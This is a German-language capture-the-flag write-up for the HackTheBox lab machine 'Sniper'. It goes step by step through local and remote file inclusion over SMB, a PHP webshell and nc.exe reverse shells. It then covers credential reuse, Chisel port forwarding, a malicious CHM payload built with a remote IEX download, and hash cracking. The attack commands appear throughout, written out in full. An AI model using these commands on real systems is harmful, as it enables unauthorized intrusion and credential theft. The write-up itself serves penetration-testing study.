> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper HackTheBox Writeup

Sniper HackTheBox Medium Windows-Maschine Writeup zu Local File Inclusion (LFI), Remote File Inclusion (RFI) (fehlgeschlagen), Remote File Inclusion über SMB-Server (net usershare-Technik) (erfolgreich)

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Fähigkeiten:

* Lokale Dateieinbindung (LFI)
* Remote File Inclusion (RFI) (Fehlgeschlagen)
* Remote File Inclusion über SMB-Server (net usershare-Technik) (Erfolgreich)
* Erstellung einer Webshell und Erreichen der Remote-Befehlsausführung (RCE)
* Informationsleck (User-Pivoting)
* Arbeiten mit Chisel und ScriptBlocks mit Invoke-Command
* Erstellung einer bösartigen CHM-Datei (Out-CHM.ps1) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6915b94d27c4eb318bb317a73b39600762c4cd%2F%7BFDDC6D48-0A83-472B-97D2-D6A5435D14DB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13d9ebdae73de7486675a6b3976efd0eb51231fb%2Fimage%20(2481).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d9d333f2c9efa3cade1b43e7c99b624921d68b%2F%7B58A19F4B-5FC2-44C6-8072-DD60D1D58649%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren. (80,135,139,445,496,67)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2704e5557c18309c801c5be29649d87d029abd1%2F%7BA9AC10F6-49A6-48B5-BE8C-704DC359D9E6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-369f97c376a352dcecd0ad895e54166b63cbb04f%2F%7B5C4B5ADC-0CB1-4C63-A2FC-152E99EEA0E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38ff6b874ca4bbffedfdadd9923ff89d3597331a%2F%7BA46BCCC8-15D5-4B86-BF5D-77D3D6A3777A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse mit `whatweb`:**

Wir verwendeten `whatweb` um die vom Webserver verwendeten Technologien zu identifizieren:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **LFI-Schwachstelle :**

Auf der Seite zum Sprachwechsel gab es einen `lang` Parameter zum Laden verschiedener PHP-Dateien je nach gewählter Sprache.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba81e253c257b72b3cd3df15d59995994eac3938%2Fimage%20(2483).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>

Wir testeten mit einer lokalen Systemdatei:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Dies ermöglichte uns, den Inhalt von `hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aae1a3f300054bff149c9f79b10b3715b74b0b1%2F%7BCC466D14-D0E1-4C0A-BB7B-AEB791A681CB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Versuche zum Lesen sensibler Dateien mit `php://filter`:**

Wir versuchten, die LFI zu verwenden, um die `index.php` Datei des Microsoft-IIS-Webservers zu lesen, die sich in `/inetpub/wwwroot/index.php`befindet, aber der Vorgang über `php://filter` funktionierte nicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6952fbeb4aeaed806b4b5c302123c6281ffd29%2F%7BAEB894E3-AD72-4E6B-93DA-220BA22330D4%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d26389be7361c43d2f2dd11b32b5f7b1441a0a%2F%7B0D4D16A0-7B64-4E4E-8675-A9F2ADF10280%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Remote File Inclusion (RFI) (Fehlgeschlagen)

#### RFI-Test über entfernten Webserver:

Wir versuchten, eine entfernte Datei über die `?lang=http://10.10.14.3/index.html` URL zu laden, indem wir auf unseren lokalen Webserver mit Python3 verwiesen.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Aber es funktionierte nicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

## Remote File Inclusion (SMB-Server)

**SMB-Server erstellen:**

Wir erstellten einen lokalen SMB-Server mit `smbserver.py` und gaben das aktuelle Verzeichnis frei:

```bash
smbserver.py share $(pwd) -smb2support
```

Dann versuchten wir, eine Datei vom SMB-Server zu laden, indem wir den `lang` Parameters

```bash
?lang=/10.10.14.3/share/index.html
```

* Diesmal interpretierte der Server unsere `index.html` Datei korrekt und zeigte deren Inhalt an ("Hello World").

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Eine PHP-Webshell-Datei erstellen (`cmd.php)`**

Wir erstellten eine `cmd.php` Datei auf unserem SMB-Server, um Remote-Befehle über die `cmd` Parameter ist:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Befehlsausführung über SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Mit der folgenden URL führten wir den `whoami` Befehl:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Herunterladen `nc.exe` für Reverse Shell:**/ Wir haben die `nc.exe` Binärdatei aus den laufenden Tools in `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` wiederhergestellt und in das Arbeitsverzeichnis kopiert.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Auf Port 443 lauschen:**/ Wir richteten einen Listener mit `nc` ein, um auf Port 443 zu lauschen:

```bash
rlwrap nc -nvlp 443
```

**Ausführung der Reverse Shell über SMB:**/ Wir starteten dann eine Reverse Shell, indem wir den `cmd` Parameter auf unsere Datei setzten

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

So erhielten wir eine Reverse Shell auf unserer Maschine.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

**Nach sensiblen Dateien suchen:**/ Wir suchten in PHP-Dateien nach sensiblen Informationen und fanden die `db.php` Datei mit Datenbank-Anmeldeinformationen:

* Benutzer: `dbuser`
* Passwort: `36mEAhz/B8xQ~2VM`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7d5f894b790e654823bbff405ccff335e56fb4%2Fimage%20(2486).png?alt=media" alt=""><figcaption></figcaption></figure>

**Überprüfung der Anmeldedaten für einen anderen Benutzer:**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee4fec3cbeac4d8833f5b2a07b9071a06e70e602%2Fimage%20(2487).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wir entdeckten einen weiteren Benutzer namens **Chris** zusätzlich zum Benutzer **Administrator**. Wir verwendeten **CrackMapExec** um zu prüfen, ob die `Chris` Anmeldedaten gültig waren:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Die Verbindung war erfolgreich.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d2b6fb4c68868d7e92cda08e40e05d2929918d0%2Fimage%20(2488).png?alt=media" alt=""><figcaption></figcaption></figure>

**Berechtigungen des Benutzers "Chris" überprüfen:**

* Wir stellten fest, dass der Benutzer `Chris` zur **Remote Management User** Gruppe gehörte, was ihm eine Remoteverbindung ermöglichte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5512fcc7d80b6b4bb69d10ee00bfbe05f8264f22%2Fimage%20(2489).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Analyse der offenen Ports\:/*/*

Der für die Remoteverbindung erforderliche Port (Port 5985, verwendet von WinRM) war nicht extern, sondern intern offen. Wir verwendeten `netstat` um die lauschen­den Ports auf dem Zielsystem zu überprüfen:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecfb4852b3a69880b17a0f8e0eb1b0d9c4277453%2Fimage%20(2490).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Portweiterleitung (5985 WinRM)

### 1. PowerShell

Wir starteten PowerShell auf unserer Angriffsmaschine:

```bash
powershell
```

Wir ermittelten den Namen der Windows-Umgebung mit dem Befehl `hostname`und stellten fest, dass der Hostname `Sniper`.

```powershell
hostname
```

Dann erstellten wir eine Variable für den Benutzer `Chris` und eine weitere für das Passwort mit `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Dann erstellten wir ein `PSCredential` Objekt, um Remote-Befehle auf dem Zielsystem ausführen zu können:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Ausführung von Remote-Befehlen:**/ Wir verwendeten den folgenden Befehl, um `whoami` remote auszuführen und den Zugriff zu überprüfen:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Dies bestätigte uns, dass wir ordnungsgemäß als **Chris**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse Shell :**/ Um vollen Zugriff auf das System zu erhalten, richteten wir einen Listener auf Port 4444 ein:

```bash
rlwrap nc -nlvp 4444
```

Dann führten wir eine Reverse Shell aus mit `nc.exe` von unserem SMB-Server aus:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Dateien herunterladen und vorbereiten:**/ Wir haben die komprimierten **Chisel** Dateien heruntergeladen, und zwar:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Nach dem Entpacken übertrugen wir die **Chisel** Windows-Datei auf die Zielmaschine:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Anbindung an die Angriffsmaschine mit Chisel:**/ Wir starteten **Chisel** im Servermodus auf der Angreifermaschine auf Port 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Dann führten wir auf der Ziel-Windows-Maschine **Chisel** im Client-Modus aus, um sich mit unserer Angriffsmaschine zu verbinden und Port 5985 auf unseren Rechner umzuleiten:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Überprüfung der umgeleiteten Ports mit `lsof`:**/ Wir überprüften mit dem Befehl, dass Port 5985 nach der Umleitung korrekt eingerichtet war:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**Anmeldung mit WinRM:**/ Wir verwendeten **CrackMapExec** um die Verbindung über **WinRM** auf dem umgeleiteten Port 5985 zu testen:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Wir erhielten das Symbol **gehackt**und bestätigten damit, dass es uns gelungen war, über WinRM auf die Maschine zuzugreifen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Abschließende Verbindung mit Evil-WinRM:**/ Schließlich verwendeten wir **Evil-WinRM** um eine Remote-Shell als zu erhalten **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62860bda2173707fcb8ff5e3350438efec6ba5d9%2F%7B28DB7A19-C223-4B29-9A72-A37E0D642FA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Erkundung des Verzeichnisses "docs":**/ Im Stammverzeichnis von **Windows**, fanden wir einen Ordner **docs** mit einem `note.txt` Datei mit der folgenden Nachricht:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> Hallo Chris,
>
> Deine PHP-Kenntnisse sind wirklich schlecht. Kontaktiere Yamitenshi, damit er dir beibringt, wie man es benutzt, und behebe dann die Seite, denn sie hat viele Fehler. Ich hoffe auch, dass du die Dokumentation für unsere neue Anwendung vorbereitet hast. Leg sie hier ab, wenn du fertig bist.
>
> Mit freundlichen Grüßen,/ Sniper-CEO.

**Suche nach Dokumentation im System:**/ Wir suchten nach der vom CEO erwähnten Dokumentation und fanden sie in der **Downloads** Verzeichnis unter dem **instructions.chm** Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Erstellung einer bösartigen CHM-Datei:**

Nachdem wir herausgefunden hatten, dass der CEO sich **CHM** Dateien in der **docs** Verzeichnis ansehen wollte, suchten wir im Internet nach einer Anleitung zum Erstellen bösartiger CHM-Dateien.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**HTML Help Tool herunterladen:**/ Wir luden **HTML Help** herunter und verwendeten ein PowerShell-Skript, um eine bösartige CHM-Datei zu erstellen

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Dann modifizierten wir das Skript, um über **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Einschleusen der bösartigen CHM-Datei in das Zielverzeichnis:**/ Wir haben auf unserer Angriffsmaschine einen SMB-Server eingerichtet, um die bösartige Datei auf die Ziel-Windows-Maschine zu übertragen:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Verbindung zur SMB-Freigabe vom Opferrechner aus\:/*/*/ Von der Ziel-Windows-Maschine aus banden wir die SMB-Freigabe ein und kopierten die bösartige `doc.chm` Datei ein:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Warten auf eine Reverse Shell:**/ Wir starteten auf unserer Angriffsmaschine einen Listener und warteten auf eine Reverse-Shell-Verbindung:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Aufgetretenes Problem:/*/*/ Obwohl die CHM-Datei geöffnet wurde, erhielten wir keine Reverse Shell. Wir konnten jedoch einen **SMB Relay V2** auf unserem Server abfangen. Dadurch erhielten wir einen Authentifizierungshash für den Benutzer `Administrator`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Administrator-Hash knacken:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Als Administrator anmelden:**

Mit den erhaltenen Anmeldedaten verwendeten wir **Evil-WinRM** um uns als Administrator mit der Maschine zu verbinden:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c2c9ca17923aca1a90c4e2ed9cb52b988809e6a%2F%7B9A1DEF2C-6F87-486F-A2BB-88638E7F7E14%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443079a66730b12d7a8288bfca59c0d51e952885%2F%7B1755EF50-6634-4549-81C9-9BC735645AD6%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
